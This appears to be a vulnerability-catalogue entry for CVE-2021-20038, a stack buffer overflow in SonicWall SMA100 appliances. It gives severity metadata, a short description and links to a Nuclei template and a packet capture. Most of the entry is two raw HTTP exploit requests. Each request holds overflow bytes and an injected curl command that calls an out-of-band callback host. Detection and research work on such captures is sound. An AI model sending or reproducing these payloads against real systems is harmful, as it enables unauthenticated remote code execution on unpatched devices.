| Title | SonicWall SMA100 Stack - Buffer Overflow/Remote Code Execution |
|---|---|
| Author | dwisiswant0, jbaines-r7 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code or crash the affected system. |
| Remediation | Apply the latest security patch or update provided by SonicWall to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94292 |
| CVE ID | CVE-2021-20038 |
| CWE ID | CWE-787,CWE-121 |
| Tags | cve2021 cve overflow rce sonicwall kev vkev vuln |
A Stack-based buffer overflow vulnerability in SMA100 Apache httpd server’s mod_cgi module environment variables allows a remote unauthenticated attacker to potentially execute code as a ‘nobody’ user in the appliance. This vulnerability affected SMA 200, 210, 400, 410 and 500v appliances firmware 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv and earlier versions.
GET /%04%D7%7F%BF%18%D8%7F%BF%18%D8%7F%BF%08%B7%06%08;%7Bcurl,http://d5jn3q1le0o48u1ui070pzwg19ywc9co5.oast.live+-H+%27User-Agent:+Y0hRgS%27%7D;%04%D7%7F%BF%18%D8%7F%BF%18%D8%7F%BF%08%B7%06%08;%7Bcurl,http://d5jn3q1le0o48u1ui070993joezktyhd9.oast.live+-H+%27User-Agent:+Y0hRgS%27%7D;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/10.0
Accept-Encoding: gzip
Connection: close
GET /%04%D7%7F%BF%18%D8%7F%BF%18%D8%7F%BFd%B8%06%08;%7Bcurl,http://d5jn3q1le0o48u1ui0701e8s7pgetxr1i.oast.live+-H+%27User-Agent:+Y0hRgS%27%7D;%04%D7%7F%BF%18%D8%7F%BF%18%D8%7F%BFd%B8%06%08;%7Bcurl,http://d5jn3q1le0o48u1ui070wzfshjhtd5ns7.oast.live+-H+%27User-Agent:+Y0hRgS%27%7D;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; arm64 Mac OS X 12_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-20038.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-20038.pcap
N/AN/A